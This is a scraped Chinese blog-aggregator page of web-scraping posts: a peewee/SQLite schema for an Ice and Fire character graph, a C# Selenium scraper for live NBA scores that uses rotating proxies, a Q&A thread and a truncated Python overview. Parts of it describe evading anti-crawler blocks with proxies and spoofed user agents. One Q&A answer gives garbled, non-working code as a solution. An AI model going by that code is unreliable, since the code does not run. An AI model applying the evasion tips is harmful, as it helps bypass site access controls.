c#抓取网页数据

c#抓取网页数据

Python简单实战项目:《冰与火之歌1-5》角色关系图谱构建——数据库设计

网站优化优采云 发表了文章 • 0 个评论 • 197 次浏览 • 2022-05-14 02:11 • 来自相关话题

  Python简单实战项目:《冰与火之歌1-5》角色关系图谱构建——数据库设计
  
  
  作者:AlanLau Python爱好者社区专栏作者
  简书专栏:
  csdn博客:
  在弄任何一个数据之前,肯定是要先设计数据库的。这里打算将《冰与火之歌》(以下称《冰火》)的文本数据先存入到数据库中,后续在使用python读取数据来处理。
  前期准备
  需要工具:
  1.peewee
  2.sqlite
  3.python3.5(当然python2也是可以的)
  大致说一下:
  1.peewee
  peewee是python中的一个轻量级ORM框架。
  什么是ORM框架?
  不熟悉的同学可以看下面几个peewee的教程:
  -peewee说明文档:#model-definition
  -Python的ORM框架Peewee使用入门(一):
  怎么安装?直接pip install peewee就可以,安装有困难的话可以参考我另一篇博文python中正确安装对应版本的包:
  2.sqlite
  sqlite是一个轻量级的数据库(轻量级这一系列东西很适合做一些小型的数据项目,以后大家可以常用)。起初是我在写C#窗体应用程序的时候发现它的。sqlite很适合用来作嵌入式数据库,和C#中的DataGridView控件简直是绝配,在稍后的博客中我也会提及到用C#配合sqlite+DataGridView开发简单的数据库检索系统,感兴趣的同学可以关注下。
  sqlite的语法基本和标准的sql语言相同,具体还有什么差异可以参考SQLite 教程
  为什么说轻量级呢?它能够轻量到使用火狐浏览器的插件就可以打开。无需像sql server和mySQL一样配置用户和端口。也无需再安装一个专门的软件来写sqlite的sql。所有的所有,一个火狐浏览器+sqlite manager插件就可以完成(当然谷歌浏览器也是可以的,只是本人不常用谷歌的sqlite插件,对谷歌感兴趣的同学可以自行去查一下)。
  火狐浏览器安装sqlite manager插件:打开火狐浏览器→附加组件→右上角的搜索输入:SQLite Manager→安装→重启浏览器。
  3.Python3.5
  python我就没什么好说的,我用的版本是3.5,2.7的同学可以找一下对应的peewee模块。
  数据来源
  我需要弄的是《冰火》人物关系图,但是如何从《冰火》中体现出人物的共现呢?我这里将一个章节内出现的所有人物则作为一次共现。因为根据《冰火》小说的特点,每一章都是以一个人物视角来写的,每一章基本都在讲一个主题。如果以每一段作为共现范围的话,那么一个章节下出现的所有角色将会出现很多次共现,而这些共现是无意义的,因为他们都是在同一个主题下出现的。
  在网上找了现成的《冰火》txt版本下载,但是发现txt内的数据并不好处理。要么一个卷的所有章节堆到一个txt内,每个章节之间没有特别明显的区分特征,这样就无法用python来对文章章节进行分割;要么就是将文中的每一句作为一行,无法区分段落和章节。思来想去,最标准的格式就是现成的小说在线阅读网址。这样小说的每一段都会用给括起来,用大数据领域的话来说,就是赤裸裸的一个结构化数据。只要是结构化的数据,什么都好处理了。所以这里就觉得顺手写一个爬虫,直接从小说在线阅读的网站把《冰火》抓取下来。我找了几个小说网站,最后看准了这家冰与火之歌小说全集:
  后面的网页分析以及网页抓取,将会呈现在 Scrapy+redis+mongodb分布式爬虫抓取小说《冰与火之歌1-5》
  数据库的设计
  根据需求,直接设计一张表足够了。表内属性最多包括id(每一条数据id,作为主键)、chapter(数据来源章节)、title(数据来源章节名)、content(章节内容)、characters(用来存储一个章节中出现的所有角色集合,注意是集合)、url(章节来源网站)、created_at(数据产生时间)。
  代码实现
  结合peewee,最后实现的代码为:
  # -*- coding: utf-8 -*-# @Date : 2017-04-07 10:16:53# @Author : Alan Lau# @Language : Python3.5from peewee import *from datetime import datetimedb = SqliteDatabase(r'A_Song_of_Ice_and_Fire.sqlite')# 建立名字为A_Song_of_Ice_and_Fire.sqlite的数据库class BaseModel(Model): class Meta: database = db#新建一个novel表class novel(BaseModel): id = IntegerField(primary_key=True, verbose_name='id') # 数据id,数据类型是IntegerField,对应sqlite中的Integer,作为主键。 chapter = CharField(max_length=20, null=True, verbose_name='chapter') # 文本章节,数据类型是CharField,对应sqlite中的CHAR,长度为20,允许空值。
   title = CharField(max_length=500, null=True, verbose_name='title') # 章节标题,数据类型是CharField,对应sqlite中的CHAR,长度为500(鬼知道一个标题有多长...),允许空值。 content = TextField(null=True, verbose_name='content') # 章节内容,数据类型是TextField,对应sqlite中的TEXT,长文本。 characters = CharField(max_length=200, null=True, verbose_name='characters') # 章节中出现的演员,数据类型是CharField,对应sqlite中的CHAR,长度为200,允许空值。 url = CharField(max_length=200, null=False, verbose_name='url') # 章节的url,方便出错后重爬 created_at = DateTimeField( default=datetime.now(), null=True, verbose_name='Get_time') # 产生日期if __name__ == '__main__':#执行python try: novel.create_table() #创建表语句 except Exception as err: print(err)
  运行一下
  最后在代码所在的当前路径下产生
  A_Song_of_Ice_and_Fire.sqlite文件
  
  然后用火狐浏览器打开,写一个检索式验证一下:
  
  这里检索式写得不规范,少了个;,大家不要学我….
  到现在,一个数据库就设计好了,结合peewee、sqlite、python,是不是非常方便。
  
  Python爱好者社区历史文章大合集:
  
  福利:文末扫码立刻关注公众号,“Python爱好者社区”,开始学习Python课程: 查看全部

  Python简单实战项目:《冰与火之歌1-5》角色关系图谱构建——数据库设计
  
  
  作者:AlanLau Python爱好者社区专栏作者
  简书专栏:
  csdn博客:
  在弄任何一个数据之前,肯定是要先设计数据库的。这里打算将《冰与火之歌》(以下称《冰火》)的文本数据先存入到数据库中,后续在使用python读取数据来处理。
  前期准备
  需要工具:
  1.peewee
  2.sqlite
  3.python3.5(当然python2也是可以的)
  大致说一下:
  1.peewee
  peewee是python中的一个轻量级ORM框架。
  什么是ORM框架?
  不熟悉的同学可以看下面几个peewee的教程:
  -peewee说明文档:#model-definition
  -Python的ORM框架Peewee使用入门(一):
  怎么安装?直接pip install peewee就可以,安装有困难的话可以参考我另一篇博文python中正确安装对应版本的包:
  2.sqlite
  sqlite是一个轻量级的数据库(轻量级这一系列东西很适合做一些小型的数据项目,以后大家可以常用)。起初是我在写C#窗体应用程序的时候发现它的。sqlite很适合用来作嵌入式数据库,和C#中的DataGridView控件简直是绝配,在稍后的博客中我也会提及到用C#配合sqlite+DataGridView开发简单的数据库检索系统,感兴趣的同学可以关注下。
  sqlite的语法基本和标准的sql语言相同,具体还有什么差异可以参考SQLite 教程
  为什么说轻量级呢?它能够轻量到使用火狐浏览器的插件就可以打开。无需像sql server和mySQL一样配置用户和端口。也无需再安装一个专门的软件来写sqlite的sql。所有的所有,一个火狐浏览器+sqlite manager插件就可以完成(当然谷歌浏览器也是可以的,只是本人不常用谷歌的sqlite插件,对谷歌感兴趣的同学可以自行去查一下)。
  火狐浏览器安装sqlite manager插件:打开火狐浏览器→附加组件→右上角的搜索输入:SQLite Manager→安装→重启浏览器。
  3.Python3.5
  python我就没什么好说的,我用的版本是3.5,2.7的同学可以找一下对应的peewee模块。
  数据来源
  我需要弄的是《冰火》人物关系图,但是如何从《冰火》中体现出人物的共现呢?我这里将一个章节内出现的所有人物则作为一次共现。因为根据《冰火》小说的特点,每一章都是以一个人物视角来写的,每一章基本都在讲一个主题。如果以每一段作为共现范围的话,那么一个章节下出现的所有角色将会出现很多次共现,而这些共现是无意义的,因为他们都是在同一个主题下出现的。
  在网上找了现成的《冰火》txt版本下载,但是发现txt内的数据并不好处理。要么一个卷的所有章节堆到一个txt内,每个章节之间没有特别明显的区分特征,这样就无法用python来对文章章节进行分割;要么就是将文中的每一句作为一行,无法区分段落和章节。思来想去,最标准的格式就是现成的小说在线阅读网址。这样小说的每一段都会用给括起来,用大数据领域的话来说,就是赤裸裸的一个结构化数据。只要是结构化的数据,什么都好处理了。所以这里就觉得顺手写一个爬虫,直接从小说在线阅读的网站把《冰火》抓取下来。我找了几个小说网站,最后看准了这家冰与火之歌小说全集:
  后面的网页分析以及网页抓取,将会呈现在 Scrapy+redis+mongodb分布式爬虫抓取小说《冰与火之歌1-5》
  数据库的设计
  根据需求,直接设计一张表足够了。表内属性最多包括id(每一条数据id,作为主键)、chapter(数据来源章节)、title(数据来源章节名)、content(章节内容)、characters(用来存储一个章节中出现的所有角色集合,注意是集合)、url(章节来源网站)、created_at(数据产生时间)。
  代码实现
  结合peewee,最后实现的代码为:
  # -*- coding: utf-8 -*-# @Date : 2017-04-07 10:16:53# @Author : Alan Lau# @Language : Python3.5from peewee import *from datetime import datetimedb = SqliteDatabase(r'A_Song_of_Ice_and_Fire.sqlite')# 建立名字为A_Song_of_Ice_and_Fire.sqlite的数据库class BaseModel(Model): class Meta: database = db#新建一个novel表class novel(BaseModel): id = IntegerField(primary_key=True, verbose_name='id') # 数据id,数据类型是IntegerField,对应sqlite中的Integer,作为主键。 chapter = CharField(max_length=20, null=True, verbose_name='chapter') # 文本章节,数据类型是CharField,对应sqlite中的CHAR,长度为20,允许空值。
   title = CharField(max_length=500, null=True, verbose_name='title') # 章节标题,数据类型是CharField,对应sqlite中的CHAR,长度为500(鬼知道一个标题有多长...),允许空值。 content = TextField(null=True, verbose_name='content') # 章节内容,数据类型是TextField,对应sqlite中的TEXT,长文本。 characters = CharField(max_length=200, null=True, verbose_name='characters') # 章节中出现的演员,数据类型是CharField,对应sqlite中的CHAR,长度为200,允许空值。 url = CharField(max_length=200, null=False, verbose_name='url') # 章节的url,方便出错后重爬 created_at = DateTimeField( default=datetime.now(), null=True, verbose_name='Get_time') # 产生日期if __name__ == '__main__':#执行python try: novel.create_table() #创建表语句 except Exception as err: print(err)
  运行一下
  最后在代码所在的当前路径下产生
  A_Song_of_Ice_and_Fire.sqlite文件
  
  然后用火狐浏览器打开,写一个检索式验证一下:
  
  这里检索式写得不规范,少了个;,大家不要学我….
  到现在,一个数据库就设计好了,结合peewee、sqlite、python,是不是非常方便。
  
  Python爱好者社区历史文章大合集:
  
  福利:文末扫码立刻关注公众号,“Python爱好者社区”,开始学习Python课程:

c# 爬虫

网站优化优采云 发表了文章 • 0 个评论 • 114 次浏览 • 2022-05-13 04:18 • 来自相关话题

  c# 爬虫
  背景
  最近NBA总决赛吸引了不少球迷,但是因为时差的关系,人家在比赛,我们在上班,有时候上班又不好意思光明正大的看比赛,那有什么办法可以光明正大的看又不被发现呢。
  有,自己动手丰衣足食,ChromeDriver+HtmlAgilityPack爬取比赛实时比分。
  概述
  WebDriver 就是对浏览器提供的原生API进行封装,使其成为一套更加面向对象的Selenium WebDriver API。使用这套API可以操控浏览器的开启、关闭,打开网页,操作界面元素,控制Cookie,还可以操作浏览器截屏、安装插件、设置代理、配置证书等。
  HtmlAgilityPack是.net下的一个HTML解析类库。支持用XPath来解析HTML。这个意义不小,为什么呢?因为对于页面上的元素的xpath某些强大的浏览器能够直接获取得到,并不需要手动写。节约了大半写正则表达式的时间,当然正则表达式有时候在进一步获取的时候还需要写,但是通过xpath解析之后,正则表达式已经要匹配的范围已经非常小了。而且,不用正则表达式在整个页面源代码上匹配,速度也会有提升。总而言之,通过该类库,先通过浏览器获取到xpath获取到节点内容然后再通过正则表达式匹配到所需要的内容,无论是开发速度,还是运行效率都有提升。
  代码实现
  下面我们来看下如何使用ChromeDriver+HtmlAgilityPack爬取比赛实时比分。
  抓取网页
   //api<br />                        string url = "https://sports.qq.com/kbsweb/game.htm?mid=" + model.TxMatchId;<br /><br />                        //   string url = "https://kbs.sports.qq.com/kbsw ... %3Bbr />                        //  MatchUpdate model = new MatchUpdate();<br /><br />                        var cds = ChromeDriverService.CreateDefaultService();<br />                        //是否应隐藏服务的命令提示符窗口<br />                        cds.HideCommandPromptWindow = true;<br /><br />                        ChromeOptions options = new ChromeOptions();<br />                        options.AddArguments("--test-type", "--ignore-certificate-errors");<br />                        //   options.AddArguments("user-agent=mozilla/5.0 (linux; u; android 2.3.3; en-us; sdk build/ gri34) applewebkit/533.1 (khtml, like gecko) version/4.0 mobile safari/533.1");<br />                        options.AddArgument("enable-automation");<br /><br />                        //  options.setBinary("C:/Program Files (x86)/Google/Chrome/chrome.exe");<br /><br />                        var r = ZhimaHttpProxy.GetProxy(false);<br />                        if (r != null)<br />                        {<br />                            Console.WriteLine(r.Address.Host);<br />                            Console.WriteLine(r.Address.Port);<br /><br />                            string proxy_Host = r.Address.Host;<br />                            int proxy_Post = r.Address.Port;<br />                            string Ex_Proxy_Name = "proxy.zip";<br /><br />                            options.Proxy = null;<br />                            options.AddArguments("--proxy-server=" + proxy_Host + ":" + proxy_Post.ToString());<br />                            options.AddExtension(Ex_Proxy_Name);<br />                        }<br /><br />                        if (IsHideMode)<br />                            options.AddArgument("headless");<br /><br />                        string dic = System.Environment.CurrentDirectory + "\\cos";<br /><br />                        if (IsHideMode)<br />                        {<br />                            using (IWebDriver driver = new OpenQA.Selenium.Chrome.ChromeDriver(cds, options, TimeSpan.FromSeconds(120)))<br /><br />                            {<br />                                Excule(driver, url, model);<br />                            }<br />                        }<br />                        else<br />                        {<br />                            using (IWebDriver driver = new OpenQA.Selenium.Chrome.ChromeDriver(dic, options, TimeSpan.FromSeconds(120)))<br /><br />                            {<br />                                Excule(driver, url, model);<br />                            }<br />                        }<br />
  解析网页
      HtmlAgilityPack.HtmlDocument doc = new HtmlAgilityPack.HtmlDocument();<br />            doc.LoadHtml(Helper.ReadTxt(System.Environment.CurrentDirectory + "\\PageSource\\" + info.TxMatchId.Replace(":", "_") + ".txt"));<br />            int? HomeTeamScore = null;<br />            int? GuestTeamScore = null;<br />            List MatchScoreList = new List();<br />            HtmlNode titleNodes = doc.DocumentNode.SelectSingleNode("//div[@class='inner']");<br />            var titleNodes2 = doc.DocumentNode.SelectSingleNode("//div[@class='content-wrapper']");<br />            if (titleNodes2 != null)<br />            //  if (false)<br />            {<br />                Console.WriteLine(titleNodes2.InnerText);<br />                var host = titleNodes2.SelectSingleNode("//div[@class='team-goal host']");<br />                var arr = host.InnerText.Replace("\r\n", "|");<br />                var arrs = arr.Split('|');<br />                arrs = arrs.Where(o => !string.IsNullOrWhiteSpace(o)).Select(o => o.Split('(')[0].Trim()).ToArray();<br />                HomeTeamScore = int.Parse(arrs[1]);<br />                MatchScoreList.Add(new MatchScore() { TeamName = arrs[0], TeamScore = HomeTeamScore });<br /><br />                var guest = titleNodes2.SelectSingleNode("//div[@class='team-goal guest']");<br /><br />                var arr2 = guest.InnerText.Replace("\r\n", "|");<br />                var arrs2 = arr2.Split('|');<br />                arrs2 = arrs2.Where(o => !string.IsNullOrWhiteSpace(o)).Select(o => o.Split('(')[0].Trim()).ToArray();<br /><br />                GuestTeamScore = int.Parse(arrs2[1]);<br /><br />                MatchScoreList.Add(new MatchScore() { TeamName = arrs2[0], TeamScore = GuestTeamScore });<br />            }<br />            else<br />            {<br />                var a = titleNodes.SelectNodes("//a[@data-target='teamName']");<br />                var score = titleNodes.SelectNodes("//span[@class='score']");<br />                if (score != null)<br />                {<br />                    int i = 0;<br />                    foreach (var item in score)<br />                    {<br />                        SetText("\r\n" + item.InnerText?.Trim());<br />                        if (i == 0)<br />                        {<br />                            HomeTeamScore = Convert.ToInt32(item.InnerText?.Trim());<br />                        }<br />                        if (i == 1)<br />                        {<br />                            GuestTeamScore = Convert.ToInt32(item.InnerText?.Trim());<br />                        }<br /><br />                        i++;<br />                    }<br />                }<br /><br />                if (a != null)<br />                {<br />                    int i = 0;<br />                    foreach (var item in a)<br />                    {<br />                        SetText("\r\n" + item.InnerText?.Trim());<br /><br />                        if (i == 0)<br />                        {<br />                            MatchScoreList.Add(new MatchScore() { TeamName = item.InnerText?.Split('(')[0].Trim(), TeamScore = HomeTeamScore });<br />                        }<br />                        if (i == 1)<br />                        {<br />                            MatchScoreList.Add(new MatchScore() { TeamName = item.InnerText?.Split('(')[0].Trim(), TeamScore = GuestTeamScore });<br />                        }<br /><br />                        i++;<br />                    }<br />                }<br />            }<br /><br />            string statusstr = "";<br /><br />            var t = titleNodes.SelectSingleNode("//div[@class='datetime-live-desc']");<br />            SetText("\r\n" + t.InnerText?.Trim());<br />            statusstr = t.InnerText?.Trim();<br /><br />            var Status = info.Status;<br />            if (!string.IsNullOrWhiteSpace(statusstr) && statusstr.Contains("已结束"))<br />            {<br />                Status = MatchStatus.End;<br />            }<br /><br />
  最后再搞个小弹框,把数据输出即可。 查看全部

  c# 爬虫
  背景
  最近NBA总决赛吸引了不少球迷,但是因为时差的关系,人家在比赛,我们在上班,有时候上班又不好意思光明正大的看比赛,那有什么办法可以光明正大的看又不被发现呢。
  有,自己动手丰衣足食,ChromeDriver+HtmlAgilityPack爬取比赛实时比分。
  概述
  WebDriver 就是对浏览器提供的原生API进行封装,使其成为一套更加面向对象的Selenium WebDriver API。使用这套API可以操控浏览器的开启、关闭,打开网页,操作界面元素,控制Cookie,还可以操作浏览器截屏、安装插件、设置代理、配置证书等。
  HtmlAgilityPack是.net下的一个HTML解析类库。支持用XPath来解析HTML。这个意义不小,为什么呢?因为对于页面上的元素的xpath某些强大的浏览器能够直接获取得到,并不需要手动写。节约了大半写正则表达式的时间,当然正则表达式有时候在进一步获取的时候还需要写,但是通过xpath解析之后,正则表达式已经要匹配的范围已经非常小了。而且,不用正则表达式在整个页面源代码上匹配,速度也会有提升。总而言之,通过该类库,先通过浏览器获取到xpath获取到节点内容然后再通过正则表达式匹配到所需要的内容,无论是开发速度,还是运行效率都有提升。
  代码实现
  下面我们来看下如何使用ChromeDriver+HtmlAgilityPack爬取比赛实时比分。
  抓取网页
   //api<br />                        string url = "https://sports.qq.com/kbsweb/game.htm?mid=" + model.TxMatchId;<br /><br />                        //   string url = "https://kbs.sports.qq.com/kbsw ... %3Bbr />                        //  MatchUpdate model = new MatchUpdate();<br /><br />                        var cds = ChromeDriverService.CreateDefaultService();<br />                        //是否应隐藏服务的命令提示符窗口<br />                        cds.HideCommandPromptWindow = true;<br /><br />                        ChromeOptions options = new ChromeOptions();<br />                        options.AddArguments("--test-type", "--ignore-certificate-errors");<br />                        //   options.AddArguments("user-agent=mozilla/5.0 (linux; u; android 2.3.3; en-us; sdk build/ gri34) applewebkit/533.1 (khtml, like gecko) version/4.0 mobile safari/533.1");<br />                        options.AddArgument("enable-automation");<br /><br />                        //  options.setBinary("C:/Program Files (x86)/Google/Chrome/chrome.exe");<br /><br />                        var r = ZhimaHttpProxy.GetProxy(false);<br />                        if (r != null)<br />                        {<br />                            Console.WriteLine(r.Address.Host);<br />                            Console.WriteLine(r.Address.Port);<br /><br />                            string proxy_Host = r.Address.Host;<br />                            int proxy_Post = r.Address.Port;<br />                            string Ex_Proxy_Name = "proxy.zip";<br /><br />                            options.Proxy = null;<br />                            options.AddArguments("--proxy-server=" + proxy_Host + ":" + proxy_Post.ToString());<br />                            options.AddExtension(Ex_Proxy_Name);<br />                        }<br /><br />                        if (IsHideMode)<br />                            options.AddArgument("headless");<br /><br />                        string dic = System.Environment.CurrentDirectory + "\\cos";<br /><br />                        if (IsHideMode)<br />                        {<br />                            using (IWebDriver driver = new OpenQA.Selenium.Chrome.ChromeDriver(cds, options, TimeSpan.FromSeconds(120)))<br /><br />                            {<br />                                Excule(driver, url, model);<br />                            }<br />                        }<br />                        else<br />                        {<br />                            using (IWebDriver driver = new OpenQA.Selenium.Chrome.ChromeDriver(dic, options, TimeSpan.FromSeconds(120)))<br /><br />                            {<br />                                Excule(driver, url, model);<br />                            }<br />                        }<br />
  解析网页
      HtmlAgilityPack.HtmlDocument doc = new HtmlAgilityPack.HtmlDocument();<br />            doc.LoadHtml(Helper.ReadTxt(System.Environment.CurrentDirectory + "\\PageSource\\" + info.TxMatchId.Replace(":", "_") + ".txt"));<br />            int? HomeTeamScore = null;<br />            int? GuestTeamScore = null;<br />            List MatchScoreList = new List();<br />            HtmlNode titleNodes = doc.DocumentNode.SelectSingleNode("//div[@class='inner']");<br />            var titleNodes2 = doc.DocumentNode.SelectSingleNode("//div[@class='content-wrapper']");<br />            if (titleNodes2 != null)<br />            //  if (false)<br />            {<br />                Console.WriteLine(titleNodes2.InnerText);<br />                var host = titleNodes2.SelectSingleNode("//div[@class='team-goal host']");<br />                var arr = host.InnerText.Replace("\r\n", "|");<br />                var arrs = arr.Split('|');<br />                arrs = arrs.Where(o => !string.IsNullOrWhiteSpace(o)).Select(o => o.Split('(')[0].Trim()).ToArray();<br />                HomeTeamScore = int.Parse(arrs[1]);<br />                MatchScoreList.Add(new MatchScore() { TeamName = arrs[0], TeamScore = HomeTeamScore });<br /><br />                var guest = titleNodes2.SelectSingleNode("//div[@class='team-goal guest']");<br /><br />                var arr2 = guest.InnerText.Replace("\r\n", "|");<br />                var arrs2 = arr2.Split('|');<br />                arrs2 = arrs2.Where(o => !string.IsNullOrWhiteSpace(o)).Select(o => o.Split('(')[0].Trim()).ToArray();<br /><br />                GuestTeamScore = int.Parse(arrs2[1]);<br /><br />                MatchScoreList.Add(new MatchScore() { TeamName = arrs2[0], TeamScore = GuestTeamScore });<br />            }<br />            else<br />            {<br />                var a = titleNodes.SelectNodes("//a[@data-target='teamName']");<br />                var score = titleNodes.SelectNodes("//span[@class='score']");<br />                if (score != null)<br />                {<br />                    int i = 0;<br />                    foreach (var item in score)<br />                    {<br />                        SetText("\r\n" + item.InnerText?.Trim());<br />                        if (i == 0)<br />                        {<br />                            HomeTeamScore = Convert.ToInt32(item.InnerText?.Trim());<br />                        }<br />                        if (i == 1)<br />                        {<br />                            GuestTeamScore = Convert.ToInt32(item.InnerText?.Trim());<br />                        }<br /><br />                        i++;<br />                    }<br />                }<br /><br />                if (a != null)<br />                {<br />                    int i = 0;<br />                    foreach (var item in a)<br />                    {<br />                        SetText("\r\n" + item.InnerText?.Trim());<br /><br />                        if (i == 0)<br />                        {<br />                            MatchScoreList.Add(new MatchScore() { TeamName = item.InnerText?.Split('(')[0].Trim(), TeamScore = HomeTeamScore });<br />                        }<br />                        if (i == 1)<br />                        {<br />                            MatchScoreList.Add(new MatchScore() { TeamName = item.InnerText?.Split('(')[0].Trim(), TeamScore = GuestTeamScore });<br />                        }<br /><br />                        i++;<br />                    }<br />                }<br />            }<br /><br />            string statusstr = "";<br /><br />            var t = titleNodes.SelectSingleNode("//div[@class='datetime-live-desc']");<br />            SetText("\r\n" + t.InnerText?.Trim());<br />            statusstr = t.InnerText?.Trim();<br /><br />            var Status = info.Status;<br />            if (!string.IsNullOrWhiteSpace(statusstr) && statusstr.Contains("已结束"))<br />            {<br />                Status = MatchStatus.End;<br />            }<br /><br />
  最后再搞个小弹框,把数据输出即可。

c#抓取网页数据:看源码和最佳方案可以多看看

网站优化优采云 发表了文章 • 0 个评论 • 98 次浏览 • 2022-05-10 13:01 • 来自相关话题

  c#抓取网页数据:看源码和最佳方案可以多看看
  c#抓取网页数据:看源码和最佳方案
  可以多看看常用的net的语言资料,除了题主说的这两个,还有python,java等语言的教程,然后最好看看类似于的脚本语言,把它用好。
  抓取一般要抓取的是url,
  c#可以用cookiesession来实现一般网站都可以做得到。
  可以的,我最近也在看这方面的资料。
  这两个网站倒是没有用c#爬过。但是可以推荐一个教程教程也是从google抓取信息的,
  你说c#爬虫?,
  看看这个很简单就可以实现了:r=scrapy.spider('@')withr.get('/')asf:f.url.get('/')print(f.get('/'))很简单,不是爬虫,
  不如用python,找到这两个网站的源代码,
  前两天看了下爬虫问题,我还是推荐可以了解下爬虫吧。
  谢邀.我说c#怎么就变成了爬虫了.
  python的爬虫实在不懂,
  谢邀。我是有c#爬虫这个思路。你可以想办法让网站通过爬虫获取关键词,然后通过requests或者selenium.js获取到页面内容。 查看全部

  c#抓取网页数据:看源码和最佳方案可以多看看
  c#抓取网页数据:看源码和最佳方案
  可以多看看常用的net的语言资料,除了题主说的这两个,还有python,java等语言的教程,然后最好看看类似于的脚本语言,把它用好。
  抓取一般要抓取的是url,
  c#可以用cookiesession来实现一般网站都可以做得到。
  可以的,我最近也在看这方面的资料。
  这两个网站倒是没有用c#爬过。但是可以推荐一个教程教程也是从google抓取信息的,
  你说c#爬虫?,
  看看这个很简单就可以实现了:r=scrapy.spider('@')withr.get('/')asf:f.url.get('/')print(f.get('/'))很简单,不是爬虫,
  不如用python,找到这两个网站的源代码,
  前两天看了下爬虫问题,我还是推荐可以了解下爬虫吧。
  谢邀.我说c#怎么就变成了爬虫了.
  python的爬虫实在不懂,
  谢邀。我是有c#爬虫这个思路。你可以想办法让网站通过爬虫获取关键词,然后通过requests或者selenium.js获取到页面内容。

c#抓取网页数据 Python有哪些作用?

网站优化优采云 发表了文章 • 0 个评论 • 93 次浏览 • 2022-05-10 10:44 • 来自相关话题

  c#抓取网页数据 Python有哪些作用?
  今天跟大家聊聊Python吧。
  Python是什么呢?
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  据我多年Python经验总结,Python主要有以下四大主要应用:
  网络爬虫
  网站开发
  人工智能
  自动化运维
  接下来和大家聊聊这几个方面:
  一、网络爬虫
  首先,
  什么叫网络爬虫?
  网络爬虫又称网络蜘蛛,是指按照某种规则在网络上爬取所需内容的脚本程序。众所周知,每个网页通常包含其他网页的入口,网络爬虫则通过一个网址依次进入其他网址获取所需内容。
  爬虫有什么用?
  做垂直搜索引擎(google,baidu等).
  科学研究:在线人类行为,在线社群演化,人类动力学研究,计量社会学,复杂网络,数据挖掘,等领域的实证研究都需要大量数据,网络爬虫是收集相关数据的利器。
  偷窥,hacking,发垃圾邮件……
  爬虫是搜索引擎的第一步也是最容易的一步。
  用什么语言写爬虫?
  C,C++。高效率,快速,适合通用搜索引擎做全网爬取。缺点,开发慢,写起来又臭又长,例如:天网搜索源代码。
  脚本语言:Perl, Python, Java, Ruby。简单,易学,良好的文本处理能方便网页内容的细致提取,但效率往往不高,适合对少量网站的聚焦爬取
  C#?
  为什么眼下最火的是Python?
  个人用c#,java都写过爬虫。区别不大,原理就是利用好正则表达式。只不过是平台问题。后来了解到很多爬虫都是用python写的,于是便一发不可收拾。Python优势很多,总结两个要点:
  1)抓取网页本身的接口
  相比与其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。(当然ruby也是很好的选择)
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。这是我们需要模拟user agent的行为构造合适的请求,譬如模拟用户登陆、模拟session/cookie的存储和设置。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize
  2)网页抓取后的处理
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。Life is short, u need python.
  二、网站开发
  那开发网站需要用到哪些知识呢?
  1、python基础,因为用python开发的,所以python指定要会,最起码你也得会条件判断,循环,函数,类这些知识;
  2、html、css的基础知识,因为要开发网站,网页都html和css写的,最起码这些知识你得会,就算不会写前端,开发不出来特别漂亮的页面,网站,最起码要能看懂html标签是;
  3、数据库基础知识,因为开发一个网站的话,数据存在哪里,就是在数据库里,那你最起码要会数据库的增删改查吧,要不然怎么存数据,取数据呢
  上面这些知识会的话,开发一个简单的小站就没有问题了,如果想开发比较大型的网站,业务逻辑比较复杂的,那就得用到其他的知识了,比如说redis、MQ等等。
  三、人工智能
  人工智能(Artificial Intelligence),英文缩写为AI。它是研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门新的技术科学。人工智能是计算机科学的一个分支,它企图了解智能的实质,并生产出一种新的能以人类智能相似的方式做出反应的智能机器,该领域的研究包括机器人、语言识别、图像识别、自然语言处理和专家系统等。人工智能从诞生以来,理论和技术日益成熟,应用领域也不断扩大,可以设想,未来人工智能带来的科技产品,将会是人类智慧的“容器”,也可能超过人的智能。
  Python正在成为机器学习的语言。大多数机器语言课程都是使用Python语言编写的,大量大公司使用的也是Python,让许多人认为它是未来的主要编程语言。
  有些人觉得PYTHON效率底,说他不能支持多线程,好吧,这个还有点说对了,但是我想问,看这篇文章的人有几个做过搜索引擎开发?有几个做个上亿PV的并发网站开发?有几个看过LINUX内核源码?如果没有,乖乖先把入门语言学会吧
  四、自动化运维
  Python能满足绝大部分自动化运维的需求,又能做后端C/S架构,又能用WEB框架快速开发出高大上的WEB界面,只有当你自已有能力做出一套运维自动化系统的时候,你的价值才体现出来。
  那么,该怎么学习Python呢?上个简图大概按这个思路走uoz,后面有空再细聊
   查看全部

  c#抓取网页数据 Python有哪些作用?
  今天跟大家聊聊Python吧。
  Python是什么呢?
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  据我多年Python经验总结,Python主要有以下四大主要应用:
  网络爬虫
  网站开发
  人工智能
  自动化运维
  接下来和大家聊聊这几个方面:
  一、网络爬虫
  首先,
  什么叫网络爬虫?
  网络爬虫又称网络蜘蛛,是指按照某种规则在网络上爬取所需内容的脚本程序。众所周知,每个网页通常包含其他网页的入口,网络爬虫则通过一个网址依次进入其他网址获取所需内容。
  爬虫有什么用?
  做垂直搜索引擎(google,baidu等).
  科学研究:在线人类行为,在线社群演化,人类动力学研究,计量社会学,复杂网络,数据挖掘,等领域的实证研究都需要大量数据,网络爬虫是收集相关数据的利器。
  偷窥,hacking,发垃圾邮件……
  爬虫是搜索引擎的第一步也是最容易的一步。
  用什么语言写爬虫?
  C,C++。高效率,快速,适合通用搜索引擎做全网爬取。缺点,开发慢,写起来又臭又长,例如:天网搜索源代码。
  脚本语言:Perl, Python, Java, Ruby。简单,易学,良好的文本处理能方便网页内容的细致提取,但效率往往不高,适合对少量网站的聚焦爬取
  C#?
  为什么眼下最火的是Python?
  个人用c#,java都写过爬虫。区别不大,原理就是利用好正则表达式。只不过是平台问题。后来了解到很多爬虫都是用python写的,于是便一发不可收拾。Python优势很多,总结两个要点:
  1)抓取网页本身的接口
